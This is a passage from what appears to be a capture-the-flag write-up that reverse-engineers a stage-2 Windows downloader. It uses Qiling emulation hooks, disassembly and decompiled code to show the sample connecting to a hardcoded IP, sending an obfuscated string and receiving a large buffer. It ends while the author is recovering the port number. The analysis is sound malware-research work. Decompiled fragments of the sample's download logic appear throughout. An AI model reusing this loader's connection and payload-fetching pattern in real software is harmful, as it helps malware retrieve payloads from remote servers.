self.family = [family, self.USHORT_SIZE, "little", int]
self.data = [data, 14, "little", bytes]
self.size = self.USHORT_SIZE + len(self.data)
def write(self, addr):
super().generic_write(addr, [self.family, self.data])
def read(self, addr):
super().generic_read(addr, [self.family, self.data])
"""
typedef struct addrinfo {
int ai_flags;
int ai_family;
int ai_socktype;
int ai_protocol;
size_t ai_addrlen;
char *ai_canonname;
struct sockaddr *ai_addr;
struct addrinfo *ai_next;
} ADDRINFOA, *PADDRINFOA;
"""
class AddrInfoA(WindowsStruct):
def __init__(self, ql, flags=None, family=None, socktype=None, protocol=None, addrlen=None, canonname=None, addr=None, nextinfo=None):
super().__init__(ql)
self.flags = [flags, self.DWORD_SIZE, "little", int]
self.family = [family, self.DWORD_SIZE, "little", int]
self.socktype = [socktype, self.DWORD_SIZE, "little", int]
self.protocol = [protocol, self.DWORD_SIZE, "little", int]
self.addrlen = [addrlen, self.DWORD_SIZE, "little", int]
self.canonname = [canonname, self.POINTER_SIZE, "little", int]
self.addr = [addr, self.POINTER_SIZE, "little", int]
self.nextinfo = [nextinfo, self.POINTER_SIZE, "little", int]
self.size = self.DWORD_SIZE * 5 + self.POINTER_SIZE * 3
def write(self, addr):
super().generic_write(addr, [self.flags, self.family, self.socktype, self.protocol, self.addrlen, self.canonname, self.addr, self.nextinfo])
def read(self, addr):
super().generic_read(addr, [self.flags, self.family, self.socktype, self.protocol, self.addrlen, self.canonname, self.addr, self.nextinfo])
"""
INT WSAAPI getaddrinfo(
PCSTR pNodeName,
PCSTR pServiceName,
const ADDRINFOA *pHints,
PADDRINFOA *ppResult
);
"""
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"pNodeName": POINTER, "pServiceName": POINTER, "pHints": POINTER, "ppResult": POINTER})
def hook_getaddrinfo(ql, address, params):
address = ql.os.read_cstring(params["pNodeName"])
info(f"getaddrinfo called with address: {address}")
hints = AddrInfoA(ql)
hints.read(params["pHints"])
info("getaddrinfo called with pHints:")
# We could write some logic to actually unpack the hints struct here,
# but it's simpler to just get a hexdump of it for now.
info(hexdump(ql.mem.read(hints.addr, hints.size)))
# 35.241.159.62, all packed up as a binary value
addrinfo_data = b"\\x23\\xf1\\x9f\\x3e"
sockaddr = Sockaddr(ql, 2, addrinfo_data + b'\\x00' * 10) # AF_INET
sockaddr_addr = ql.os.heap.alloc(sockaddr.size)
sockaddr.write(sockaddr_addr)
# ppResult is a pointer to a pointer to an addrinfo result
addrinfo = AddrInfoA(ql, 0, 2, 1, 6, 2 + len(addrinfo_data), 0, sockaddr_addr, 0)
addrinfo_data_addr = ql.os.heap.alloc(addrinfo.size)
addrinfo.write(addrinfo_data_addr)
ql.mem.write(params["ppResult"], p32(addrinfo_data_addr))
return 0
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll")
def hook_WSACleanup(ql, address, params):
return 0
def disassembly_cb(ql, address, size):
# read current instruction bytes
data = ql.mem.read(address, size)
# initialize Capstone
md = Cs(CS_ARCH_X86, CS_MODE_32)
# disassemble current instruction
for i in md.disasm(data, address):
print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
def qiling_run():
ql = Qiling(argv=[".\\lnELKNdoie_getaddrinfo.exe"], rootfs="./qiling/examples/rootfs/x8664_windows")
ql.hook_code(disassembly_cb)
ql.set_api("getaddrinfo", hook_getaddrinfo, QL_INTERCEPT.CALL)
ql.set_api("WSACleanup", hook_WSACleanup, QL_INTERCEPT.CALL)
ql.run()
qiling_run()
[*] 0x004014c5: call eax
[*] getaddrinfo called with address: 35.241.159.62
[*] getaddrinfo called with pHints:
[*] 00000000 00 00 00 00 02 00 00 00 01 00 00 00 06 00 00 00 │····│····│····│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020
[=] getaddrinfo(pNodeName = 0xffffc960, pServiceName = 0x0, pHints = 0xffffcb10, ppResult = 0x5000d2b) = 0x0
[*] 0x10378710: dec eax
[*] 0x004014c7: test eax, eax
[*] 0x004014c9: jne 0x401a6d
[*] 0x004014cf: mov dword ptr [ebp - 0x600], 0xe5603366
[*] 0x004014d9: lea eax, [ebp - 0x600]
[*] 0x004014df: mov dword ptr [ebp - 0x5fc], 0xa22713b2
[*] 0x004014e9: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x004014f3: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x004014fd: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x00401507: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x00401511: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x0040151b: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x00401525: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x0040152c: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x00401534: push eax
[*] 0x00401535: lea eax, [ebp - 0x640]
[*] 0x0040153b: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x00401542: push eax
[*] 0x00401543: call esi
[=] LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x00401545: push eax
[*] 0x00401546: call dword ptr [0x408004]
[=] GetProcAddress(hModule = 0x10375000, lpProcName = "socket") = 0x1037a5f0
All right! We got to trying to import
socket
.
Let’s take a moment to look at the value we dumped for the pHints
argument of getaddrinfo
- it should tell us some information about the protocol and socket type that the caller is requesting. I didn’t bother to write the struct unpacking logic here; we can just figure out what the relevant values are by inspecting the hexdump and comparing it against the definition for an addrinfo
struct (which is the type of pHints
):
typedef struct addrinfo {
int ai_flags;
int ai_family;
int ai_socktype;
int ai_protocol;
size_t ai_addrlen;
char *ai_canonname;
struct sockaddr *ai_addr;
struct addrinfo *ai_next;
} ADDRINFOA, *PADDRINFOA
[*] getaddrinfo called with address: 35.241.159.62
[*] getaddrinfo called with pHints:
[*] 00000000 00 00 00 00 02 00 00 00 01 00 00 00 06 00 00 00 │····│····│····│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020
The possible values of the family, socket type, and protocol fields are listed in the
documentation for the addrinfo
struct. Here, ai_flags = 0
, ai_family = 2
(i.e. AF_INET
), ai_socktype = 1
(i.e. SOCK_STREAM
), and ai_protocol = 6
(i.e. IPPROTO_TCP
). It looks like we’re setting up for establishing a TCP connection to 35.241.159.62
.
Looking at the networking code #
At this point, let’s switch gears a bit and go back to static analysis again. We’ve established at this point that we’re probably making a TCP connection. When network programming with Berkeley sockets (which again, the Winsock2 API mostly follows), this is what you would typically do to make a TCP connection and talk over it:
- Create a socket with
socket
. - Establish the connection with
connect
, passing it the handle to the newly created socket and the address + port information. - Send and receive over that connection with
send
andrecv
, using the socket handle.
If we look back at the disassembled / decompiled code in Cutter at this point, even though any imported function calls are still obfuscated via arguments to LoadLibraryA
and GetProcAddress
, we can still see the signatures of those functions when they are actually called! That is, we can match the number of arguments, infer the types of those arguments, and look at how the data output by the functions is used later on in the program. From there, we can match the function signatures to the functions in Winsock2 typically used for TCP connections, and make a pretty good guess about which function was imported and called each time.
Looking at the decompiled code in Cutter (which infers types and function signatures for us), we can see the familiar pattern of socket
, connect
, then send
/recv
emerge. I’ve annotated the decompilation output below with the signatures of each of those functions, at the places where I think those function calls occur:
// SOCKET socket(int af, int type, int protocol)
iVar5 = (*pcVar3)(*(undefined4 *)(pcStack1524 + 4), *(undefined4 *)(pcStack1524 + 8),
*(undefined4 *)(pcStack1524 + 0xc));
uStack1072 = 0x8e035c15;
uStack1068 = 0xa22767d7;
uStack1064 = 0xcd82d7c6;
uStack1060 = 0x2bbfde5a;
in_stack_fffff920 = &uStack1616;
auStack1552._0_12_ = CONCAT48(0xa2e4b9af, 0x7264646165657266) ^ (undefined [12])0xcd82d7c6;
auStack1552 = CONCAT412(0x2bbfde5a, auStack1552._0_12_) ^ (undefined [16])0x2bbfde5a00000000;
uVar2 = (*pcVar6)(in_stack_fffff920, auStack1552);
pcStack1556 = (code *)(*_GetProcAddress)(uVar2);
if (iVar5 == -1) {
(*pcStack1556)(pcStack1524);
(*pcStack1592)();
} else {
uStack1072 = 0x8e035c15;
uStack1068 = 0xa22767d7;
uStack1064 = 0xcd82d7c6;
uStack1060 = 0x2bbfde5a;
uStack1584 = 0x6e6e6f63;
uStack1580 = 0x746365;
uStack1576 = 0;
uStack1572 = 0;
uVar2 = (*pcVar6)(&uStack1616, &uStack1584);
pcVar6 = (code *)(*_GetProcAddress)(uVar2);
// int connect(SOCKET s, const sockaddr *name, int namelen)
iVar7 = (*pcVar6)(iVar5, *(undefined4 *)(pcStack1588 + 0x18), *(undefined4 *)(pcStack1588 + 0x10));
uStack1072 = 0x8e035c15;
uStack1068 = 0xa22767d7;
uStack1064 = 0xcd82d7c6;
uStack1060 = 0x2bbfde5a;
uStack1584 = 0x736f6c63;
uStack1580 = 0x636f7365;
uStack1576 = 0x74656b;
uStack1572 = 0;
uVar2 = (*_LoadLibraryA)(&uStack1616, &uStack1584);
pcStack1588 = (code *)(*_GetProcAddress)(uVar2);
if (iVar7 == -1) {
(*pcStack1588)(iVar5);
} else {
(*pcStack1556)(pcStack1524);
pcVar6 = _LoadLibraryA;
uStack1088 = 0x8e035c15;
uStack1084 = 0xa22767d7;
uStack1080 = 0xcd82d7c6;
uStack1076 = 0x2bbfde5a;
uStack1680 = 0x4d44414b;
uStack1676 = 0x46414c4b;
uStack1672 = 0x534c3a44;
uStack1668 = 0x504f244d;
uStack1664 = 0x4c46404d;
uStack1660 = 0x4d463a4b;
uStack1656 = 0x40244e21;
uStack1652 = 0x244e;
uStack1072 = 0x8e035c15;
uStack1068 = 0xa22767d7;
uStack1064 = 0xcd82d7c6;
uStack1060 = 0x2bbfde5a;
auStack1552._0_12_ = CONCAT48(0xcd82d7c6, 0x646e6573) ^ (undefined [12])0xcd82d7c6;
auStack1552 = CONCAT412(0x2bbfde5a, auStack1552._0_12_) ^ (undefined [16])0x2bbfde5a00000000;
uVar2 = (*_LoadLibraryA)(&uStack1616, auStack1552);
pcVar3 = (code *)(*_GetProcAddress)(uVar2);
puVar8 = &uStack1680;
pcStack1556 = (code *)((int32_t)&uStack1680 + 1);
do {
cVar1 = *(char *)puVar8;
puVar8 = (undefined4 *)((int32_t)puVar8 + 1);
} while (cVar1 != '\\0');
// int send(SOCKET s, const char *buf, int len, int flags);
iVar7 = (*pcVar3)(iVar5, &uStack1680,
(undefined4 *)((int32_t)puVar8 - (int32_t)(code *)((int32_t)&uStack1680 + 1)), 0);
if (iVar7 != -1) {
auStack1552._0_12_ = CONCAT48(0xcd82d7c6, 0xa22767d7f8603967);
auStack1552 = CONCAT412(0x2bbfde5a, auStack1552._0_12_);
uStack1072 = 0x8e035c15;
uStack1068 = 0xa22767d7;
uStack1064 = 0xcd82d7c6;
uStack1060 = 0x2bbfde5a;
auStack1552 = CONCAT412(0x2bbfde5a, CONCAT48(0xcd82d7c6, 0xa22767d78e035c15)) ^ auStack1552;
uVar2 = (*pcVar6)(&uStack1616, auStack1552);
pcStack1640 = (code *)(*_GetProcAddress)(uVar2);
pcStack1556 = (code *)0x0;
do {
// memset to 0 here tells us this is a receive buffer which we fill with some data
sub.VCRUNTIME140.dll_memset(auStack1048, 0, 0x400);
// int recv(SOCKET s, char *buf, int len, int flags);
iVar7 = (*pcStack1640)(iVar5, auStack1048, 0x400, 0);
arg_ch = auStack1048;
fcn.00401a90(*(int32_t *)(iStack1636 + 4), (int32_t)arg_ch, (int32_t)(auStack1048 + iVar7));
pcStack1556 = pcStack1556 + iVar7;
// 0x400 bytes at a time, fill to 0x6b200 bytes
} while (pcStack1556 < (code *)0x6b200);
At the end of the decompilation output here, it looks like we’re sending some data over the socket, then receiving some data back and filing a buffer with it.
We can now start write hook handlers for each of the functions that we identified above, and quite easily see the values of all the arguments that we’re passing to them:
from qiling import *
from qiling.const import *
from qiling.os.windows.const import *
from qiling.os.windows.fncc import *
from qiling.os.windows.structs import *
from qiling.os.windows.utils import *
from capstone import *
from pwn import *
"""
struct sockaddr {
ushort sa_family;
char sa_data[14];
};
"""
class Sockaddr(WindowsStruct):
def __init__(self, ql, family=None, data=None):
super().__init__(ql)
self.family = [family, self.USHORT_SIZE, "little", int]
self.data = [data, 14, "little", bytes]
self.size = self.USHORT_SIZE + len(self.data)
def write(self, addr):
super().generic_write(addr, [self.family, self.data])
def read(self, addr):
super().generic_read(addr, [self.family, self.data])
"""
typedef struct addrinfo {
int ai_flags;
int ai_family;
int ai_socktype;
int ai_protocol;
size_t ai_addrlen;
char *ai_canonname;
struct sockaddr *ai_addr;
struct addrinfo *ai_next;
} ADDRINFOA, *PADDRINFOA;
"""
class AddrInfoA(WindowsStruct):
def __init__(self, ql, flags=None, family=None, socktype=None, protocol=None, addrlen=None, canonname=None, addr=None, nextinfo=None):
super().__init__(ql)
self.flags = [flags, self.DWORD_SIZE, "little", int]
self.family = [family, self.DWORD_SIZE, "little", int]
self.socktype = [socktype, self.DWORD_SIZE, "little", int]
self.protocol = [protocol, self.DWORD_SIZE, "little", int]
self.addrlen = [addrlen, self.DWORD_SIZE, "little", int]
self.canonname = [canonname, self.POINTER_SIZE, "little", int]
self.addr = [addr, self.POINTER_SIZE, "little", int]
self.nextinfo = [nextinfo, self.POINTER_SIZE, "little", int]
self.size = self.DWORD_SIZE * 5 + self.POINTER_SIZE * 3
def write(self, addr):
super().generic_write(addr, [self.flags, self.family, self.socktype, self.protocol, self.addrlen, self.canonname, self.addr, self.nextinfo])
def read(self, addr):
super().generic_read(addr, [self.flags, self.family, self.socktype, self.protocol, self.addrlen, self.canonname, self.addr, self.nextinfo])
"""
INT WSAAPI getaddrinfo(
PCSTR pNodeName,
PCSTR pServiceName,
const ADDRINFOA *pHints,
PADDRINFOA *ppResult
);
"""
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"pNodeName": POINTER, "pServiceName": POINTER, "pHints": POINTER, "ppResult": POINTER})
def hook_getaddrinfo(ql, address, params):
address = ql.os.read_cstring(params["pNodeName"])
info(f"getaddrinfo called with address: {address}")
info("getaddrinfo called with pointer pServiceName: {}".format(params["pServiceName"]))
if params["pServiceName"]:
port = ql.os.read_cstring(params["pServiceName"])
info(f"getaddrinfo called with port: {port}")
hints = AddrInfoA(ql)
hints.read(params["pHints"])
info("getaddrinfo called with pHints:")
# We could write some logic to actually unpack the hints struct here,
# but it's simpler to just get a hexdump of it for now.
info(hexdump(ql.mem.read(hints.addr, hints.size)))
info("getaddrinfo called with ppResult at 0x{:x}".format(params["ppResult"]))
addrinfo_addr = ql.mem.read(params["ppResult"], 4)
if addrinfo_addr:
info(f"ppResult resolves to the ADDRINFOA pointer: {u32(addrinfo_addr)}")
# 35.241.159.62, all packed up as a binary value
addrinfo_data = b"\\x23\\xf1\\x9f\\x3e"
# treat this as a sockaddr_in. For now, set the port to 0.
sockaddr = Sockaddr(ql, 2, b'\\x00' * 2 + addrinfo_data + b'\\x00' * 8)
sockaddr_addr = ql.os.heap.alloc(sockaddr.size)
sockaddr.write(sockaddr_addr)
addrinfo = AddrInfoA(ql, 0, 2, 1, 6, 2 + len(addrinfo_data), 0, sockaddr_addr, 0)
addrinfo_data_addr = ql.os.heap.alloc(addrinfo.size)
addrinfo.write(addrinfo_data_addr)
ql.mem.write(params["ppResult"], p32(addrinfo_data_addr))
info("getaddrinfo returning with ppResult at 0x{:x}, following in ppResult:".format(params["ppResult"]))
resolved_result_addr = u32(ql.mem.read(params["ppResult"], 4))
info(f"0x{resolved_result_addr:x}")
info("getaddrinfo returning with following returned addrinfo:")
info(hexdump(ql.mem.read(resolved_result_addr, addrinfo.size)))
return 0
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll")
def hook_WSACleanup(ql, address, params):
return 0
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll")
def hook_socket(ql, address, params):
return 0
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"pAddrInfo": POINTER})
def hook_freeaddrinfo(ql, address, params):
pass
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"s": INT, "buf": POINTER, "len": INT, "flags": INT})
def hook_send(ql, address, params):
info(hexdump(ql.mem.read(params["buf"], params["len"])))
# Even though Qiling provides an implementation for connect,
# I had trouble with getting the built-in Qiling log output to show here.
# Therefore, here I copied Qiling's hook_connect implementation,
# but just replaced Qiling's logging functions with pwntools' logging functions.
# int WSAAPI connect(
# SOCKET s,
# const sockaddr *name,
# int namelen
# );
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll")
def hook_connect(ql, address, params):
sin_family = ql.mem.read(params["name"], 1)[0]
sin_port = int.from_bytes(ql.mem.read(params["name"] + 2, 2), byteorder="big")
if sin_family == 0x17: # IPv6
segments = list(map("{:02x}".format, ql.mem.read(params["name"] + 8, 16)))
sin_addr = ":".join(["".join(x) for x in zip(segments[0::2], segments[1::2])])
elif sin_family == 0x2: # IPv4
sin_addr = ".".join(
[str(octet) for octet in ql.mem.read(params["name"] + 4, 4)]
)
else:
info("sockaddr sin_family unhandled variant")
return 0
info(f"0x{params['name']:08x}: sockaddr_in{6 if sin_family == 0x17 else ''}" +
f"{{sin_family=0x{sin_family:02x}, sin_port={sin_port}, sin_addr={sin_addr}}}",
)
return 0
def disassembly_cb(ql, address, size):
# read current instruction bytes
data = ql.mem.read(address, size)
# initialize Capstone
md = Cs(CS_ARCH_X86, CS_MODE_32)
# disassemble current instruction
for i in md.disasm(data, address):
print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
def qiling_run():
ql = Qiling(argv=[".\\lnELKNdoie_getaddrinfo.exe"], rootfs="./qiling/examples/rootfs/x8664_windows")
ql.hook_code(disassembly_cb)
ql.set_api("getaddrinfo", hook_getaddrinfo, QL_INTERCEPT.CALL)
ql.set_api("WSACleanup", hook_WSACleanup, QL_INTERCEPT.CALL)
ql.set_api("socket", hook_socket, QL_INTERCEPT.CALL)
ql.set_api("connect", hook_connect, QL_INTERCEPT.CALL)
ql.set_api("freeaddrinfo", hook_freeaddrinfo, QL_INTERCEPT.CALL)
ql.set_api("send", hook_send, QL_INTERCEPT.CALL)
ql.run()
qiling_run()
We now get all the way to the connect
call!
[=] LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x00401676: push eax
[*] 0x00401677: call dword ptr [0x408004]
[=] GetProcAddress(hModule = 0x10375000, lpProcName = "connect") = 0x10386a50
[*] 0x10210ec0: dec esp
[*] 0x0040167d: mov ecx, dword ptr [ebp - 0x624]
[*] 0x00401683: push dword ptr [ecx + 0x10]
[*] 0x00401686: push dword ptr [ecx + 0x18]
[*] 0x00401689: push edi
[*] 0x0040168a: call eax
[*] 0x05000d25: sockaddr_in{sin_family=0x02, sin_port=0, sin_addr=35.241.159.62}
[=] connect(s = 0x0, name = 0x5000d25, namelen = 0x6) = 0x0
Port 0 isn’t a valid port number to pass to connect
; we’ll come back to this later. Proceeding further, we see the contents of the buffer that the program is sending, from the hexdump produced by our send
hook. Immediately after, we see the memset
call to clear the receive buffer and the subsequent call to recv
:
[*] 0x004018a8: call edx
[*] 00000000 4b 41 44 4d 4b 4c 41 46 44 3a 4c 53 4d 24 4f 50 │KADM│KLAF│D:LS│M$OP│
00000010 4d 40 46 4c 4b 3a 46 4d 21 4e 24 40 4e 24 │M@FL│K:FM│!N$@│N$│
0000001e
[=] send(s = 0x0, buf = 0xffffc8e0, len = 0x1e, flags = 0x0)
[*] 0x10377320: dec eax
[*] 0x004018aa: cmp eax, -1
[*] 0x004018ad: je 0x401a5e
[*] 0x004018b3: mov dword ptr [ebp - 0x600], 0xf8603967
[*] 0x004018bd: lea eax, [ebp - 0x600]
[*] 0x004018c3: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x004018cd: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x004018d7: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x004018e1: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x004018eb: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x004018f5: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x004018ff: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x00401909: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x00401910: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x00401918: push eax
[*] 0x00401919: lea eax, [ebp - 0x640]
[*] 0x0040191f: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x00401926: push eax
[*] 0x00401927: call esi
[=] LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x00401929: push eax
[*] 0x0040192a: call dword ptr [0x408004]
[=] GetProcAddress(hModule = 0x10375000, lpProcName = "recv") = 0x10386d90
[*] 0x10210ec0: dec esp
[*] 0x00401930: mov dword ptr [ebp - 0x658], eax
[*] 0x00401936: mov dword ptr [ebp - 0x604], 0
[*] 0x00401940: push 0x400
[*] 0x00401945: lea eax, [ebp - 0x408]
[*] 0x0040194b: push 0
[*] 0x0040194d: push eax
[*] 0x0040194e: call 0x40759b
[*] 0x0040759b: jmp dword ptr [0x40806c]
[=] memset(dest = 0xffffcb58, c = 0x0, count = 0x400) = 0xffffcb58
[*] 0x10346700: dec esp
[*] 0x00401953: add esp, 0xc
[*] 0x00401956: lea eax, [ebp - 0x408]
[*] 0x0040195c: push 0
[*] 0x0040195e: push 0x400
[*] 0x00401963: push eax
[*] 0x00401964: push edi
[*] 0x00401965: call dword ptr [ebp - 0x658]
[!] recv is not implemented
[*] 0x10386d90: dec eax
[*] 0x10386d91: mov dword ptr [esp + 8], ebx
[*] 0x10386d95: dec eax
[*] 0x10386d96: mov dword ptr [esp + 0x10], esi
[*] 0x10386d9a: inc esp
[*] 0x10386d9b: mov dword ptr [esp + 0x20], ecx
[*] 0x10386d9f: push ebp
[*] 0x10386da0: push edi
[*] 0x10386da1: inc ecx
[*] 0x10386da2: push esi
[*] 0x10386da3: dec eax
[*] 0x10386da4: mov ebp, esp
[*] 0x10386da6: dec eax
[*] 0x10386da7: sub esp, 0x80
[*] 0x10386dad: dec eax
[*] 0x10386dae: mov eax, dword ptr [0x4024c]
# crash past this point because recv doesn't have a hook...
We now know that this stage 2 executable does the following:
- Make a TCP connection to 35.241.159.62, at some yet-unknown port number.
- Send the string
KADMKLAFD:LSM$OPM@FLK:FM!N$@N$
over that connection. - Repeatedly receive data over that connection into a buffer.
Getting the port number #
This is the part that I really struggled with during the CTF, and which I didn’t end up solving successfully during the CTF. I referred to the great writeup by team ret2school for this challenge for some portions of this section.
The port number that the program ultimately connects to is provided as the second argument to the connect
function, as a sockaddr
struct. There are several different variations of this struct, depending on the address family used; the struct may be interpreted as any of those variations. Since this is an IPv4 connection, we can actually interpret this as a sockaddr_in
struct, which holds a port number as one of its arguments:
int WSAAPI connect(
SOCKET s,
const sockaddr *name,
int namelen
);
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
In the program, there are a couple of possibilities for where the sin_port
field of the sockaddr_in
that’s passed into the connect
call is filled out:
-
It could have been filled out during our initial
getaddrinfo
call. Ingetaddrinfo
, the second argument,pServiceName
, can optionally contain a string specifying either a service name which has a well-known port number (e.g. “http” will be treated as an alias for port 80), or a port number. In either case, thesockaddr *ai_addr
field of theaddrinfo
returned in theppResult
out-param will contain the specified port number.INT WSAAPI getaddrinfo( PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA *pHints, PADDRINFOA *ppResult ); typedef struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; size_t ai_addrlen; char *ai_canonname; struct sockaddr *ai_addr; struct addrinfo *ai_next; } ADDRINFOA, *PADDRINFOA;
-
It could have been filled out some time in between the
getaddrinfo
and theconnect
call. Since thepServiceName
argument forgetaddrinfo
is optional, a program usinggetaddrinfo
can just use it to do hostname resolution or as a convenient way to create anaddrinfo
struct for later use; the program can fill in the port number in thataddrinfo
struct later.
We can easily check whether the second possibility is the case, again by using the Qiling hook we wrote for getaddrinfo
. Let’s try hardcoding a fake port number, say 7777 (0x1e61), in the ppResult
that we output from the hook, and seeing if that same port number shows up when we get to the connect
call:
# 35.241.159.62, all packed up as a binary value
addrinfo_data = b"\\x23\\xf1\\x9f\\x3e"
# treat this as a sockaddr_in, hardcode the port to 7777 (0x1e61)
sockaddr = Sockaddr(ql, 2, b'\\x1e\\x61' + addrinfo_data + b'\\x00' * 8)
sockaddr_addr = ql.os.heap.alloc(sockaddr.size)
sockaddr.write(sockaddr_addr)
(Note that port numbers are in big endian (i.e. network byte order) in addrinfo
structs.)
When we run this again, we see that the port number provided to the connect
call is exactly the same as the one we provided from the getaddrinfo
hook:
[*] 0x0040168a: call eax
[*] 0x05000d25: sockaddr_in{sin_family=0x02, sin_port=7777, sin_addr=35.241.159.62}
[=] connect(s = 0x2a, name = 0x5000d25, namelen = 0x10)
Therefore, we must be providing the port in the getaddrinfo
call. But how are we doing it?We can see even from the very first time when we printed the params to the getaddrinfo
call (back when we first implemented the hook), that the pServiceName
param isn’t a valid pointer:
[=] getaddrinfo(pNodeName = 0xffffc960, pServiceName = 0x0, pHints = 0xffffcb10, ppResult = 0xffffc97c)
This is weird. Where does our port number come from, then?
Let’s switch gears again back to static analysis. Let’s take a look, in the disassembly, at the arguments being passed to that first getaddrinfo
:
[*] 0x10210ec0: dec esp
[*] 0x00401444: lea ecx, [ebp - 0x5e4]
[*] 0x0040144a: mov dword ptr [ebp - 0x600], 0xbc2d6926
[*] 0x00401454: push ecx
[*] 0x00401455: lea ecx, [ebp - 0x450]
[*] 0x0040145b: mov dword ptr [ebp - 0x5fc], 0x930956e3
[*] 0x00401465: push ecx
[*] 0x00401466: push dword ptr [0x40a3f8]
[*] 0x0040146c: mov dword ptr [ebp - 0x5f8], 0xfbaceef3
[*] 0x00401476: lea ecx, [ebp - 0x600]
[*] 0x0040147c: mov dword ptr [ebp - 0x5f4], 0x2bbfde68
[*] 0x00401486: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x00401490: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x0040149a: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x004014a4: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x004014ae: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x004014b5: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x004014bd: push ecx
[*] 0x004014be: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x004014c5: call eax
char* pServiceName
is our second parameter, so it’s filled in by the instruction at 0x00401466
: push dword ptr [0x40a3f8]
.
There is one other place where the address 0x40a3f8 is being referenced, in some code at the very beginning of our .text
section:
;-- section..text:
0x00401000 push ebp ; [00] -r-x section size 28672 named .text
0x00401001 mov ebp, esp
0x00401003 and esp, 0xfffffff0
0x00401006 sub esp, 0x20
0x00401009 mov dword [esp], 0xb9306f24
0x00401010 lea eax, [esp]
0x00401013 mov dword [esp + 4], 0xa22767d7
0x0040101b mov dword [esp + 8], 0xcd82d7c6
0x00401023 mov dword [esp + 0xc], 0x2bbfde5a
0x0040102b mov dword [esp + 0x10], 0x8e035c15
0x00401033 mov dword [esp + 0x14], 0xa22767d7
0x0040103b mov dword [esp + 0x18], 0xcd82d7c6
0x00401043 mov dword [esp + 0x1c], 0x2bbfde5a
0x0040104b movaps xmm1, xmmword [esp + 0x10]
0x00401050 pxor xmm1, xmmword [esp]
0x00401055 movaps xmmword [esp], xmm1
0x00401059 mov dword [0x40a3f8], eax
0x0040105e mov esp, ebp
0x00401060 pop ebp
But how do we get here in the first place? This is where I got quite stuck, and had to look at ret2school’s writeup.
As part of the Microsoft Visual C++ runtime initialization, a function called
__initterm
gets called. This function is handed a table of function pointers, and calls each of those function pointers as part of program initialization.
void __cdecl _initterm(
PVFV *,
PVFV *
);
The first argument is a pointer to the beginning of the function pointer table, and the second argument is a pointer to the end of the function pointer table. Looking at the call to __initterm
in our disassembly, we can see right away what the values of those arguments are (no more obfuscation at this point, thankfully):
0x00406b0e push 0x408114
0x00406b13 push 0x408108
0x00406b18 call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
The function pointer table spans here from 0x408108
to 0x408114
. If we take a hexdump of the secion spanning those memory locations in the binary, we can see the contents:
0x408108 00 00 00 00 8f 6a 40 00 |.....j@.|
0x408110 00 10 40 00 00 00 00 00 |..@.....|
There’s 2 entries here:
0x406a8f
, which points to a function at0x407254
which callsSetUnhandledExceptionFilter
and overrides the exception handler for the program with a function at0x407260
. This is somewhat interesting, but not really relevant to the port number setup function.0x401000
, which is where our port number setup function was!
So we set up our port number during program initialization, and put the address of that port number string into 0x40a3f8
. However, it seems that later on in the program execution, that location is somehow overwritten with an invalid value.
Now that we know when this code is run, let’s reverse it to get the port number out! The assembly here is fairly simple - it’s just an xor between 2 values, which we can easily reproduce in Python:
;-- section..text:
0x00401000 push ebp ; [00] -r-x section size 28672 named .text
0x00401001 mov ebp, esp
0x00401003 and esp, 0xfffffff0
0x00401006 sub esp, 0x20
0x00401009 mov dword [esp], 0xb9306f24
0x00401010 lea eax, [esp]
0x00401013 mov dword [esp + 4], 0xa22767d7
0x0040101b mov dword [esp + 8], 0xcd82d7c6
0x00401023 mov dword [esp + 0xc], 0x2bbfde5a
0x0040102b mov dword [esp + 0x10], 0x8e035c15
0x00401033 mov dword [esp + 0x14], 0xa22767d7
0x0040103b mov dword [esp + 0x18], 0xcd82d7c6
